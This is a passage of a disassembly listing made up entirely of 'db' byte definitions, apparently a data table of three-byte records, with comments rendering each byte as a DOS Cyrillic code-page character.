		db  3Ah	; :
		db    1	;  
		db  81h	; │
		db  15h	;  
		db  3Ch	; <
		db    8	;  
		db  81h	; │
		db  15h	;  
		db  3Ch	; <
		db    9	;  
		db  81h	; │
		db  15h	;  
		db  5Eh	; ^
		db  81h	; │
		db  81h	; │
		db 0D2h	; р
		db  0Ch	;  
		db 0F5h	; У
		db  81h	; │
		db 0D2h	; р
		db    8	;  
		db    1	;  
		db  81h	; │
		db 0D4h	; т
		db  0Bh	;  
		db    1	;  
		db  81h	; │
		db 0D5h	; у
		db  80h	; ─
		db    2	;  
		db  81h	; │
		db 0D5h	; у
		db  80h	; ─
		db  62h	; b
		db  81h	; │
		db 0D7h	; в
		db 0A0h	; ═
		db 0F0h	; П
		db  81h	; │
		db 0D7h	; в
		db 0A6h	; і
		db  0Dh	;  
		db  81h	; │
		db 0D7h	; в
		db 0A8h	; ╗
		db  21h	; !
		db  81h	; │
		db 0D7h	; в
		db  2Ah	; *
		db 0F0h	; П
		db  81h	; │
		db 0D7h	; в
		db  46h	; F
		db 0EFh	; О
		db  81h	; │
		db 0D9h	; ы
		db  83h	; ┐
		db    3	;  
		db  81h	; │
		db 0D9h	; ы
		db    4	;  
		db  2Ah	; *
		db  81h	; │
		db 0DBh	; ш
		db  0Dh	;  
		db  51h	; Q
		db  81h	; │
		db 0DBh	; ш
		db  11h	;  
		db 0C8h	; х
		db  81h	; │
		db 0DBh	; ш
		db  11h	;  
		db    5	;  
		db  81h	; │
		db  16h	;  
		db    4	;  
		db    1	;  
		db  81h	; │
		db  16h	;  
		db    4	;  
		db    3	;  
		db  81h	; │
		db 0E4h	; Д
		db 0DDh	; щ
		db 0DDh	; щ
		db  81h	; │
		db 0E9h	; И
		db  11h	;  
		db  1Bh	;  
		db  81h	; │
		db 0E9h	; И
		db  11h	;  
		db  2Fh	; /
		db  81h	; │
		db 0EAh	; Й
		db    4	;  
		db  0Bh	;  
		db  81h	; │
		db 0EAh	; Й
		db    4	;  
		db  16h	;  
		db  81h	; │
		db 0EAh	; Й
		db    4	;  
		db    9	;  
		db  81h	; │
		db 0EBh	; К
		db  46h	; F
		db  15h	;  
		db  81h	; │
		db 0ECh	; Л
		db  0Ah	;  
		db  14h	;  
		db  81h	; │
		db 0ECh	; Л
		db  0Ah	;  
		db  1Eh	;  
		db  81h	; │
		db 0EDh	; М
		db  20h	;  
		db    1	;  
		db  81h	; │
		db 0EDh	; М
		db  20h	;  
		db    2	;  
		db  81h	; │
		db 0EFh	; О
		db  1Ah	;  
		db  0Ah	;  
		db  81h	; │
		db  18h	;  
		db    8	;  
		db    1	;  
		db  81h	; │
		db  18h	;  
		db    8	;  
		db    4	;  
		db  81h	; │
		db 0F0h	; П
		db    2	;  
		db    3	;  
		db  81h	; │
		db 0F0h	; П
		db    2	;  
		db  28h	; (
		db  81h	; │
		db 0F0h	; П
		db  40h	; @
		db    2	;  
		db  81h	; │
		db 0F1h	; Я
		db    1	;  
		db    5	;  
		db  81h	; │
		db 0F1h	; Я
		db    1	;  
		db  60h	; `
		db  81h	; │
		db 0F1h	; Я
		db    1	;  
		db  63h	; c
		db  81h	; │
		db 0F1h	; Я
		db  0Ah	;  
		db  18h	;  
		db  81h	; │
		db 0F1h	; Я
		db  67h	; g
		db    5	;  
		db  81h	; │
		db 0F1h	; Я
		db  6Ch	; l
		db  0Bh	;  
		db  81h	; │
		db 0F1h	; Я
		db  6Eh	; n
		db  0Ch	;  
		db  81h	; │
		db 0F1h	; Я
		db  8Ch	; ▄
		db  0Ah	;  
		db  81h	; │
		db 0F1h	; Я
		db  0Fh	;  
		db 0FAh	; З
		db  81h	; │
		db 0F1h	; Я
		db  9Bh	; ⌡
		db  0Bh	;  
		db  81h	; │
		db 0F1h	; Я
		db  10h	;  
		db  0Ah	;  
		db  81h	; │
		db 0F1h	; Я
		db 0BEh	; Ў
		db 0BEh	; Ў
		db  81h	; │
		db 0F1h	; Я
		db 0C0h	; ю
		db  0Ah	;  
		db  81h	; │
		db 0F1h	; Я
		db 0C8h	; х
		db    3	;  
		db  81h	; │
		db 0F1h	; Я
		db 0D2h	; р
		db 0D3h	; с
		db  81h	; │
		db 0F1h	; Я
		db  16h	;  
		db  16h	;  
		db  81h	; │
		db 0F1h	; Я
		db  1Bh	;  
		db  15h	;  
		db  81h	; │
		db 0F1h	; Я
		db  2Ah	; *
		db    2	;  
		db  81h	; │
		db 0F1h	; Я
		db    6	;  
		db  64h	; d
		db  81h	; │
		db 0F1h	; Я
		db    6	;  
		db  6Bh	; k
		db  81h	; │
		db 0F1h	; Я
		db  40h	; @
		db    4	;  
		db  81h	; │
		db 0F1h	; Я
		db    7	;  
		db    7	;  
		db  81h	; │
		db 0F1h	; Я
		db  52h	; R
		db  28h	; (
		db  81h	; │
		db 0F1h	; Я
		db  5Dh	; ]
		db  11h	;  
		db  81h	; │
		db 0F2h	; Р
		db    4	;  
		db 0FEh	; Ч
		db  81h	; │
		db 0F2h	; Р
		db    5	;  
		db 0FEh	; Ч
		db  81h	; │
		db 0F4h	; Т
		db  29h	; )
		db  20h	;  
		db  81h	; │
		db 0F6h	; Ж
		db  65h	; e
		db  0Bh	;  
		db  81h	; │
		db 0F7h	; В
		db 0A0h	; ═
		db    1	;  
		db  81h	; │
		db 0F7h	; В
		db  40h	; @
		db    1	;  
		db  81h	; │
		db 0F7h	; В
		db  60h	; `
		db    1	;  
		db  81h	; │
		db 0FAh	; З
		db  7Ch	; |
		db  0Ah	;  
		db  81h	; │
		db 0FAh	; З
		db  0Fh	;  
		db  3Dh	; =
		db  81h	; │
		db 0FAh	; З
		db 0FCh	; Э
		db  0Ah	;  
		db  81h	; │
		db 0FAh	; З
		db  1Fh	;  
		db 0BEh	; Ў
		db  81h	; │
		db 0FAh	; З
		db  23h	; #
		db  20h	;  
		db  81h	; │
		db 0FAh	; З
		db  23h	; #
		db  21h	; !
		db  81h	; │
		db 0FAh	; З
		db  23h	; #
		db  22h	; "
		db  81h	; │
		db 0FCh	; Э
		db  29h	; )
		db  0Bh	;  
		db  81h	; │
		db 0FCh	; Э
		db  2Ah	; *
		db  19h	;  
		db  81h	; │
		db 0FDh	; Щ
		db 0AAh	; ╙
		db    1	;  
		db  81h	; │
		db 0FDh	; Щ
		db 0AAh	; ╙
		db    2	;  
		db  81h	; │
		db 0FEh	; Ч
		db  7Eh	; ~
		db  0Dh	;  
		db  81h	; │
		db  1Ah	;  
		db    8	;  
		db  52h	; R
		db  81h	; │
		db    3	;  
		db    1	;  
		db    1	;  
		db  81h	; │
		db    3	;  
		db    1	;  
		db  64h	; d
		db  81h	; │
		db    3	;  
		db    1	;  
		db  24h	; $
		db  81h	; │
		db  1Eh	;  
		db    3	;  
		db  0Ah	;  
		db  81h	; │
		db  1Eh	;  
		db    3	;  
		db  10h	;  
		db  81h	; │
		db    4	;  
		db    1	;  
		db    1	;  
		db  81h	; │
		db    4	;  
		db    2	;  
		db    1	;  
		db  81h	; │
		db  29h	; )
		db    0	;  
		db    4	;  
		db  81h	; │
		db  29h	; )
		db    0	;  
		db    5	;  
		db  81h	; │
		db  29h	; )
		db  80h	; ─
		db    4	;  
		db  81h	; │
		db  29h	; )
		db  80h	; ─
		db    5	;  
		db  81h	; │
		db  29h	; )
		db 0F0h	; П
		db    4	;  
		db  81h	; │
		db  29h	; )
		db 0F0h	; П
		db    5	;  
		db  81h	; │
		db  29h	; )
		db  20h	;  
		db    4	;  
		db  81h	; │
		db  29h	; )
		db  20h	;  
		db    5	;  
		db  81h	; │
		db  29h	; )
		db  2Ah	; *
		db  14h	;  
		db  81h	; │
		db  29h	; )
		db  2Ah	; *
		db  15h	;  
		db  81h	; │
		db  29h	; )
		db  30h	; 0
		db    4	;  
		db  81h	; │
		db  29h	; )
		db  30h	; 0
		db    5	;  
		db  81h	; │
		db  29h	; )
		db  36h	; 6
		db    4	;  
		db  81h	; │
		db  29h	; )
		db  36h	; 6
		db    5	;  
		db  81h	; │
		db  29h	; )
		db  3Ch	; <
		db    2	;  
		db  81h	; │
		db  29h	; )
		db  3Fh	; ?
		db 0C8h	; х
		db  81h	; │
		db  29h	; )
		db  3Fh	; ?
		db 0C9h	; и
		db  81h	; │
		db  29h	; )
		db  50h	; P
		db    4	;  
		db  81h	; │
		db  29h	; )
		db  50h	; P
		db    5	;  
		db  81h	; │
		db  2Ah	; *
		db    2	;  
		db    5	;  
		db  81h	; │
		db  2Ah	; *
		db    4	;  
		db  85h	; ┘
		db  81h	; │
		db  2Ah	; *
		db    6	;  
		db    6	;  
		db  81h	; │
		db  2Bh	; +
		db    1	;  
		db  0Bh	;  
		db  81h	; │
		db  30h	; 0
		db  68h	; h
		db 0D6h	; ж
		db  81h	; │
		db  31h	; 1
		db    7	;  
		db 0FAh	; З
		db  81h	; │
		db  31h	; 1
		db    7	;  
		db    3	;  
		db  81h	; │
		db    5	;  
		db  10h	;  
		db 0E6h	; Ф
		db  81h	; │
		db    5	;  
		db  10h	;  
		db 0E8h	; Х
		db  81h	; │
		db  33h	; 3
		db    5	;  
		db 0A0h	; ═
		db  81h	; │
		db  33h	; 3
		db    5	;  
		db 0A1h	; ║
		db  81h	; │
		db  35h	; 5
		db 0DBh	; ш
		db    1	;  
		db  81h	; │
		db  35h	; 5
		db 0DBh	; ш
		db  65h	; e
		db  81h	; │
		db  37h	; 7
		db  0Ch	;  
		db    3	;  
		db  81h	; │
		db  37h	; 7
		db  18h	;  
		db    3	;  
		db  81h	; │
		db  3Bh	; ;
		db    1	;  
		db  0Ah	;  
		db  81h	; │
		db  3Bh	; ;
		db    2	;  
		db  0Ah	;  
		db  81h	; │
		db    6	;  
		db  0Dh	;  
		db    2	;  
		db  81h	; │
		db  3Ch	; <
		db  27h	; '
		db  66h	; f
		db  81h	; │
		db  3Ch	; <
		db  27h	; '
		db  67h	; g
		db  81h	; │
		db  3Dh	; =
		db  92h	; ▓
		db  17h	;  
		db  81h	; │
		db  3Dh	; =
		db  92h	; ▓
		db    3	;  
		db  81h	; │
		db  3Eh	; >
		db    1	;  
		db    2	;  
		db  81h	; │
		db  3Eh	; >
		db  10h	;  
		db    4	;  
		db  81h	; │
		db  3Fh	; ?
		db    1	;  
		db    1	;  
		db  81h	; │
		db  40h	; @
		db  63h	; c
		db  0Bh	;  
		db  81h	; │
		db  40h	; @
		db  63h	; c
		db  0Ch	;  
		db  81h	; │
		db  41h	; A
		db  10h	;  
		db 0FEh	; Ч
		db  81h	; │
		db  41h	; A
		db  15h	;  
		db 0FEh	; Ч
		db  81h	; │
		db  42h	; B
		db 0ACh	; ╛
		db    9	;  
		db  81h	; │
		db  42h	; B
		db  14h	;  
		db    4	;  
		db  81h	; │
		db  42h	; B
		db  4Ch	; L
		db    4	;  
		db  81h	; │
		db  42h	; B
		db  5Fh	; _
		db    3	;  
		db  81h	; │
		db  43h	; C
		db    1	;  
		db    1	;  
		db  81h	; │
		db  43h	; C
		db    1	;  
		db 0B4h	; Є
		db  81h	; │
		db  44h	; D
		db  71h	; q
		db    1	;  
		db  81h	; │
		db  44h	; D
		db  71h	; q
		db    2	;  
		db  81h	; │
		db  45h	; E
		db    1	;  
		db  1Ch	;  
		db  81h	; │
		db    7	;  
		db    1	;  
		db    1	;  
		db  81h	; │
		db    7	;  
		db    1	;  
		db  14h	;  
		db  81h	; │
		db  46h	; F
		db  84h	; └
		db  64h	; d
		db  81h	; │
		db  46h	; F
		db    4	;  
		db  37h	; 7
		db  81h	; │
		db  46h	; F
		db    5	;  
		db  10h	;  
		db  81h	; │
		db  47h	; G
		db    1	;  
		db    1	;  
		db  81h	; │
		db  47h	; G
		db    2	;  
		db    1	;  
		db  81h	; │
		db  48h	; H
		db  3Ch	; <
		db    8	;  
		db  81h	; │
		db  49h	; I
		db    1	;  
		db  0Fh	;  
		db  81h	; │
		db  4Ah	; J
		db 0FAh	; З
		db  64h	; d
		db  81h	; │
		db  4Dh	; M
		db    1	;  
		db    1	;  
		db  81h	; │
		db  4Eh	; N
		db  97h	; ≈
		db    1	;  
		db  81h	; │
		db  4Eh	; N
		db  24h	; $
		db    1	;  
		db  81h	; │
		db  4Eh	; N
		db  40h	; @
		db    1	;  
		db  81h	; │
		db  4Eh	; N
		db  40h	; @
		db    2	;  
		db  81h	; │
		db  4Fh	; O
		db    1	;  
		db    1	;  
		db  81h	; │
		db  4Fh	; O
		db 0FEh	; Ч
		db 0BFh	; ©
		db  81h	; │
		db  4Fh	; O
		db    5	;  
		db  64h	; d
		db  81h	; │
		db    8	;  
		db  32h	; 2
		db  69h	; i
		db  81h	; │
		db    8	;  
		db  34h	; 4
		db    2	;  
		db  81h	; │
		db  50h	; P
		db  16h	;  
		db  87h	; ┤
		db  81h	; │
		db  51h	; Q
		db  84h	; └
		db    1	;  
		db  81h	; │
		db  51h	; Q
		db  84h	; └
		db    3	;  
		db  81h	; │
		db  51h	; Q
		db  10h	;  
		db  15h	;  
		db  81h	; │
		db  51h	; Q
		db 0E0h	; Ю
		db  32h	; 2
		db  81h	; │
		db  52h	; R
		db  64h	; d
		db  40h	; @
		db  81h	; │
		db  55h	; U
		db    1	;  
		db  15h	;  
		db  81h	; │
		db  58h	; X
		db  1Eh	;  
		db    1	;  
		db  81h	; │
		db  58h	; X
		db  20h	;  
		db  18h	;  
		db  81h	; │
		db  59h	; Y
		db 0A9h	; ╘
		db    3	;  
		db  81h	; │
		db  59h	; Y
		db    2	;  
		db  0Eh	;  
		db  81h	; │
		db  59h	; Y
		db    6	;  
		db    2	;  
		db  81h	; │
		db  59h	; Y
		db    7	;  
		db  0Eh	;  
		db  81h	; │
		db  59h	; Y
		db    7	;  
		db    2	;  
		db  81h	; │
		db  5Ch	; \
		db 0FCh	; Э
		db 0FEh	; Ч
		db  81h	; │
		db  5Ch	; \
		db 0FDh	; Щ
		db 0F8h	; Ь
		db  81h	; │
		db  5Dh	; ]
		db    1	;  
		db    1	;  
		db  81h	; │
		db  5Fh	; _
		db  14h	;  
		db  6Dh	; m
		db  81h	; │
		db  5Fh	; _
		db  14h	;  
		db    2	;  
		db  81h	; │
		db  5Fh	; _
		db  14h	;  
		db 0FCh	; Э
		db  81h	; │
		db  60h	; `
		db    1	;  
		db  15h	;  
		db  81h	; │
		db  60h	; `
		db 0FCh	; Э
		db  1Fh	;  
		db  81h	; │
		db  61h	; a
		db  80h	; ─
		db  0Ah	;  
		db  81h	; │
		db  61h	; a
		db  80h	; ─
		db  64h	; d
		db  81h	; │
		db  62h	; b
		db    1	;  
		db    4	;  
		db  81h	; │
		db  62h	; b
		db    1	;  
		db    6	;  
		db  81h	; │
		db  62h	; b
		db 0C9h	; и
		db  1Ah	;  
		db  0Dh	;  
		db    1	;  
		db  40h	; @
		db  5Eh	; ^
		db  82h	; ┌
		db  65h	; e
		db  0Ah	;  
		db    1	;  
		db  82h	; ┌
		db  65h	; e
		db  93h	; ⌠
		db 0FBh	; Ш
		db  82h	; ┌
		db  65h	; e
		db    4	;  
		db 0FDh	; Щ
		db  82h	; ┌
		db  65h	; e
		db    5	;  
		db    4	;  
		db  82h	; ┌
		db  65h	; e
		db    8	;  
		db    8	;  
		db  82h	; ┌
		db  65h	; e
		db  58h	; X
		db 0FAh	; З
		db  82h	; ┌
		db  65h	; e
		db    9	;  
		db    2	;  
		db  82h	; ┌
		db  66h	; f
		db  80h	; ─
		db  2Bh	; +
		db  82h	; ┌
		db  66h	; f
		db  80h	; ─
		db  35h	; 5
		db  82h	; ┌
		db  66h	; f
		db 0B0h	; ╟
		db  0Ch	;  
		db  82h	; ┌
		db  66h	; f
		db 0B0h	; ╟
		db  1Bh	;  
		db  82h	; ┌
		db  66h	; f
		db    2	;  
		db  0Fh	;  
		db  82h	; ┌
		db  66h	; f
		db    2	;  
		db  35h	; 5
		db  82h	; ┌
		db  68h	; h
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db  68h	; h
		db    1	;  
		db    2	;  
		db  82h	; ┌
		db  68h	; h
		db 0FEh	; Ч
		db    1	;  
		db  82h	; ┌
		db  6Bh	; k
		db    1	;  
		db  14h	;  
		db  82h	; ┌
		db  6Bh	; k
		db    1	;  
		db 0E6h	; Ф
		db  82h	; ┌
		db  6Ch	; l
		db  80h	; ─
		db 0C8h	; х
		db  82h	; ┌
		db  6Ch	; l
		db    2	;  
		db  0Ah	;  
		db  82h	; ┌
		db  0Bh	;  
		db  30h	; 0
		db    2	;  
		db  82h	; ┌
		db  6Eh	; n
		db    1	;  
		db    5	;  
		db  82h	; ┌
		db  6Fh	; o
		db  82h	; ┌
		db    7	;  
		db  82h	; ┌
		db  6Fh	; o
		db  20h	;  
		db  0Bh	;  
		db  82h	; ┌
		db  6Fh	; o
		db  20h	;  
		db    7	;  
		db  82h	; ┌
		db  70h	; p
		db    1	;  
		db    2	;  
		db  82h	; ┌
		db  70h	; p
		db    1	;  
		db  54h	; T
		db  82h	; ┌
		db  71h	; q
		db  80h	; ─
		db    1	;  
		db  82h	; ┌
		db  71h	; q
		db  40h	; @
		db    1	;  
		db  82h	; ┌
		db  72h	; r
		db 0C8h	; х
		db    6	;  
		db  82h	; ┌
		db  73h	; s
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db  73h	; s
		db  0Fh	;  
		db    2	;  
		db  82h	; ┌
		db  74h	; t
		db    2	;  
		db    8	;  
		db  82h	; ┌
		db  76h	; v
		db    4	;  
		db    2	;  
		db  82h	; ┌
		db  7Dh	; }
		db    1	;  
		db  0Ah	;  
		db  82h	; ┌
		db  7Fh	; 
		db 0C8h	; х
		db    5	;  
		db  82h	; ┌
		db  7Fh	; 
		db  1Ch	;  
		db  20h	;  
		db  82h	; ┌
		db  0Dh	;  
		db  10h	;  
		db    6	;  
		db  82h	; ┌
		db  82h	; ┌
		db  40h	; @
		db    1	;  
		db  82h	; ┌
		db  82h	; ┌
		db  44h	; D
		db    1	;  
		db  82h	; ┌
		db  83h	; ┐
		db  30h	; 0
		db  0Bh	;  
		db  82h	; ┌
		db  84h	; └
		db    1	;  
		db  0Ah	;  
		db  82h	; ┌
		db  84h	; └
		db    1	;  
		db  0Bh	;  
		db  82h	; ┌
		db  84h	; └
		db    1	;  
		db    9	;  
		db  82h	; ┌
		db  85h	; ┘
		db    1	;  
		db  39h	; 9
		db  82h	; ┌
		db  86h	; ├
		db  50h	; P
		db  0Ah	;  
		db  82h	; ┌
		db  87h	; ┤
		db  6Eh	; n
		db    7	;  
		db  82h	; ┌
		db  87h	; ┤
		db  6Eh	; n
		db    9	;  
		db  82h	; ┌
		db  88h	; ┬
		db    1	;  
		db  6Eh	; n
		db  82h	; ┌
		db  89h	; ┴
		db  40h	; @
		db    2	;  
		db  82h	; ┌
		db  0Eh	;  
		db  19h	;  
		db    2	;  
		db  82h	; ┌
		db  0Eh	;  
		db  23h	; #
		db  80h	; ─
		db  82h	; ┌
		db  95h	; ∙
		db  11h	;  
		db    5	;  
		db  82h	; ┌
		db  95h	; ∙
		db    2	;  
		db  0Ch	;  
		db  82h	; ┌
		db  95h	; ∙
		db    4	;  
		db  14h	;  
		db  82h	; ┌
		db  0Fh	;  
		db  7Eh	; ~
		db  36h	; 6
		db  82h	; ┌
		db  0Fh	;  
		db  7Eh	; ~
		db    7	;  
		db  82h	; ┌
		db  96h	; √
		db  66h	; f
		db  64h	; d
		db  82h	; ┌
		db  96h	; √
		db  66h	; f
		db  14h	;  
		db  82h	; ┌
		db  99h	; ≥
		db  8Dh	; █
		db  0Bh	;  
		db  82h	; ┌
		db  99h	; ≥
		db    8	;  
		db  3Ch	; <
		db  82h	; ┌
		db  9Bh	; ⌡
		db  10h	;  
		db    1	;  
		db  82h	; ┌
		db  9Bh	; ⌡
		db 0C0h	; ю
		db  28h	; (
		db  82h	; ┌
		db  9Bh	; ⌡
		db 0C2h	; б
		db  20h	;  
		db  82h	; ┌
		db  9Bh	; ⌡
		db    2	;  
		db    8	;  
		db  82h	; ┌
		db  9Dh	; ²
		db    2	;  
		db    3	;  
		db  82h	; ┌
		db  9Dh	; ²
		db    2	;  
		db    5	;  
		db  82h	; ┌
		db  9Eh	; ·
		db  44h	; D
		db  15h	;  
		db  82h	; ┌
		db  9Eh	; ·
		db  47h	; G
		db  36h	; 6
		db  82h	; ┌
		db  9Fh	; ÷
		db 0C4h	; д
		db  7Eh	; ~
		db  82h	; ┌
		db  9Fh	; ÷
		db 0F8h	; Ь
		db  0Bh	;  
		db  82h	; ┌
		db  9Fh	; ÷
		db 0F8h	; Ь
		db  1Ah	;  
		db  82h	; ┌
		db  9Fh	; ÷
		db 0F8h	; Ь
		db    9	;  
		db  82h	; ┌
		db 0A0h	; ═
		db    4	;  
		db  72h	; r
		db  82h	; ┌
		db 0A0h	; ═
		db    4	;  
		db    4	;  
		db  82h	; ┌
		db 0A1h	; ║
		db  8Fh	; ▐
		db 0C8h	; х
		db  82h	; ┌
		db 0A1h	; ║
		db  94h	; ■
		db  18h	;  
		db  82h	; ┌
		db 0A1h	; ║
		db  10h	;  
		db 0A7h	; ї
		db  82h	; ┌
		db 0A1h	; ║
		db 0A0h	; ═
		db    3	;  
		db  82h	; ┌
		db 0A1h	; ║
		db 0A4h	; є
		db 0CEh	; н
		db  82h	; ┌
		db 0A1h	; ║
		db 0B4h	; Є
		db    1	;  
		db  82h	; ┌
		db 0A1h	; ║
		db 0B4h	; Є
		db  41h	; A
		db  82h	; ┌
		db 0A1h	; ║
		db 0BCh	; ╪
		db  8Ch	; ▄
		db  82h	; ┌
		db 0A1h	; ║
		db 0BDh	; Ґ
		db    1	;  
		db  82h	; ┌
		db 0A1h	; ║
		db 0C4h	; д
		db 0C5h	; е
		db  82h	; ┌
		db 0A1h	; ║
		db 0CCh	; л
		db    1	;  
		db  82h	; ┌
		db 0A1h	; ║
		db 0D8h	; ь
		db    7	;  
		db  82h	; ┌
		db 0A1h	; ║
		db 0E4h	; Д
		db  0Ch	;  
		db  82h	; ┌
		db 0A1h	; ║
		db 0E5h	; Е
		db    2	;  
		db  82h	; ┌
		db 0A1h	; ║
		db 0E8h	; Х
		db  80h	; ─
		db  82h	; ┌
		db 0A1h	; ║
		db 0F2h	; Р
		db  46h	; F
		db  82h	; ┌
		db 0A1h	; ║
		db 0FDh	; Щ
		db    1	;  
		db  82h	; ┌
		db 0A1h	; ║
		db  1Ch	;  
		db  15h	;  
		db  82h	; ┌
		db 0A1h	; ║
		db  21h	; !
		db  11h	;  
		db  82h	; ┌
		db 0A1h	; ║
		db  22h	; "
		db 0FAh	; З
		db  82h	; ┌
		db 0A1h	; ║
		db  25h	; %
		db  18h	;  
		db  82h	; ┌
		db 0A2h	; ╒
		db 0A0h	; ═
		db  96h	; √
		db  82h	; ┌
		db 0A2h	; ╒
		db 0A0h	; ═
		db  97h	; ≈
		db  82h	; ┌
		db 0A3h	; ё
		db    1	;  
		db    2	;  
		db  82h	; ┌
		db 0A3h	; ё
		db    1	;  
		db 0C8h	; х
		db  82h	; ┌
		db 0A4h	; є
		db  8Ch	; ▄
		db  0Ch	;  
		db  82h	; ┌
		db 0A4h	; є
		db  8Ch	; ▄
		db  0Fh	;  
		db  82h	; ┌
		db 0A6h	; і
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0A6h	; і
		db    1	;  
		db  46h	; F
		db  82h	; ┌
		db 0A7h	; ї
		db    1	;  
		db  65h	; e
		db  82h	; ┌
		db 0A7h	; ї
		db    1	;  
		db    2	;  
		db  82h	; ┌
		db 0A7h	; ї
		db  65h	; e
		db    1	;  
		db  82h	; ┌
		db  11h	;  
		db    1	;  
		db    4	;  
		db  82h	; ┌
		db  11h	;  
		db    1	;  
		db  32h	; 2
		db  82h	; ┌
		db 0B3h	; Ё
		db  10h	;  
		db  8Fh	; ▐
		db  82h	; ┌
		db 0B3h	; Ё
		db  10h	;  
		db  43h	; C
		db  82h	; ┌
		db  12h	;  
		db  50h	; P
		db  0Ch	;  
		db  82h	; ┌
		db  12h	;  
		db  50h	; P
		db  0Dh	;  
		db  82h	; ┌
		db 0B5h	; ╣
		db  0Ch	;  
		db  66h	; f
		db  82h	; ┌
		db 0B5h	; ╣
		db  0Ch	;  
		db  95h	; ∙
		db  82h	; ┌
		db 0B6h	; І
		db  79h	; y
		db    1	;  
		db  82h	; ┌
		db 0B6h	; І
		db 0ABh	; ╚
		db    1	;  
		db  82h	; ┌
		db 0B7h	; Ї
		db    1	;  
		db  15h	;  
		db  82h	; ┌
		db 0B7h	; Ї
		db    9	;  
		db  20h	;  
		db  82h	; ┌
		db 0B8h	; ╦
		db    7	;  
		db  67h	; g
		db  82h	; ┌
		db 0B8h	; ╦
		db    7	;  
		db  5Dh	; ]
		db  82h	; ┌
		db 0B9h	; ╧
		db  59h	; Y
		db  7Dh	; }
		db  82h	; ┌
		db 0BAh	; ╨
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0BAh	; ╨
		db    1	;  
		db  35h	; 5
		db  82h	; ┌
		db 0BBh	; ╩
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0BCh	; ╪
		db    4	;  
		db    3	;  
		db  82h	; ┌
		db 0BCh	; ╪
		db    4	;  
		db    4	;  
		db  82h	; ┌
		db 0BDh	; Ґ
		db 0F0h	; П
		db  64h	; d
		db  82h	; ┌
		db 0BFh	; ©
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0BFh	; ©
		db 0E5h	; Е
		db  0Eh	;  
		db  82h	; ┌
		db 0C0h	; ю
		db    3	;  
		db  15h	;  
		db  82h	; ┌
		db 0C0h	; ю
		db    3	;  
		db  18h	;  
		db  82h	; ┌
		db 0C0h	; ю
		db  3Ch	; <
		db  0Ch	;  
		db  82h	; ┌
		db 0C2h	; б
		db    1	;  
		db  63h	; c
		db  82h	; ┌
		db 0C2h	; б
		db    7	;  
		db  63h	; c
		db  82h	; ┌
		db 0C3h	; ц
		db    2	;  
		db  0Bh	;  
		db  82h	; ┌
		db 0C3h	; ц
		db    2	;  
		db 0F9h	; Ы
		db  82h	; ┌
		db 0C3h	; ц
		db    5	;  
		db  0Ch	;  
		db  82h	; ┌
		db 0C3h	; ц
		db    6	;  
		db  0Ah	;  
		db  82h	; ┌
		db 0C7h	; г
		db    3	;  
		db    8	;  
		db  82h	; ┌
		db 0C7h	; г
		db    4	;  
		db    6	;  
		db  82h	; ┌
		db  14h	;  
		db  80h	; ─
		db  22h	; "
		db  82h	; ┌
		db  14h	;  
		db  14h	;  
		db  24h	; $
		db  82h	; ┌
		db  14h	;  
		db  40h	; @
		db  24h	; $
		db  82h	; ┌
		db  14h	;  
		db  54h	; T
		db  0Bh	;  
		db  82h	; ┌
		db  14h	;  
		db  54h	; T
		db  24h	; $
		db  82h	; ┌
		db 0CAh	; й
		db  14h	;  
		db    3	;  
		db  82h	; ┌
		db 0CAh	; й
		db  14h	;  
		db    5	;  
		db  82h	; ┌
		db 0CBh	; к
		db    1	;  
		db    4	;  
		db  82h	; ┌
		db 0CBh	; к
		db    1	;  
		db    5	;  
		db  82h	; ┌
		db 0CBh	; к
		db  10h	;  
		db    6	;  
		db  82h	; ┌
		db 0CDh	; м
		db  46h	; F
		db  0Ah	;  
		db  82h	; ┌
		db 0CEh	; н
		db    1	;  
		db    2	;  
		db  82h	; ┌
		db 0CEh	; н
		db    1	;  
		db    3	;  
		db  82h	; ┌
		db 0CFh	; о
		db 0F4h	; Т
		db 0F4h	; Т
		db  82h	; ┌
		db 0CFh	; о
		db 0F4h	; Т
		db 0FBh	; Ш
		db  82h	; ┌
		db 0D1h	; я
		db    4	;  
		db  10h	;  
		db  82h	; ┌
		db 0D1h	; я
		db    4	;  
		db  12h	;  
		db  82h	; ┌
		db 0D2h	; р
		db    2	;  
		db  0Ah	;  
		db  82h	; ┌
		db 0D4h	; т
		db  0Ah	;  
		db 0A2h	; ╒
		db  82h	; ┌
		db 0D4h	; т
		db  0Ah	;  
		db 0A3h	; ё
		db  82h	; ┌
		db 0D7h	; в
		db  18h	;  
		db    1	;  
		db  82h	; ┌
		db 0D8h	; ь
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0D8h	; ь
		db    1	;  
		db    4	;  
		db  82h	; ┌
		db 0D9h	; ы
		db  40h	; @
		db  0Ch	;  
		db  82h	; ┌
		db 0DAh	; з
		db  64h	; d
		db    5	;  
		db  82h	; ┌
		db 0DBh	; ш
		db  22h	; "
		db  64h	; d
		db  82h	; ┌
		db  16h	;  
		db  1Eh	;  
		db 0FDh	; Щ
		db  82h	; ┌
		db 0DCh	; э
		db  1Eh	;  
		db  20h	;  
		db  82h	; ┌
		db 0DDh	; щ
		db  10h	;  
		db    2	;  
		db  82h	; ┌
		db 0DDh	; щ
		db  10h	;  
		db    4	;  
		db  82h	; ┌
		db 0DFh	; ъ
		db    4	;  
		db    5	;  
		db  82h	; ┌
		db 0DFh	; ъ
		db    8	;  
		db  14h	;  
		db  82h	; ┌
		db 0E1h	; А
		db  60h	; `
		db    3	;  
		db  82h	; ┌
		db 0E2h	; Б
		db    1	;  
		db    4	;  
		db  82h	; ┌
		db 0E3h	; Ц
		db 0C7h	; г
		db    1	;  
		db  82h	; ┌
		db 0E6h	; Ф
		db  18h	;  
		db  0Ah	;  
		db  82h	; ┌
		db 0E7h	; Г
		db 0F0h	; П
		db    1	;  
		db  82h	; ┌
		db 0E8h	; Х
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0E8h	; Х
		db    1	;  
		db  16h	;  
		db  82h	; ┌
		db 0E9h	; И
		db 0E0h	; Ю
		db    1	;  
		db  82h	; ┌
		db 0E9h	; И
		db 0E0h	; Ю
		db  0Dh	;  
		db  82h	; ┌
		db 0EAh	; Й
		db    1	;  
		db    1	;  
		db  82h	; ┌
		db 0EBh	; К
		db  80h	; ─
		db  64h	; d
		db  82h	; ┌
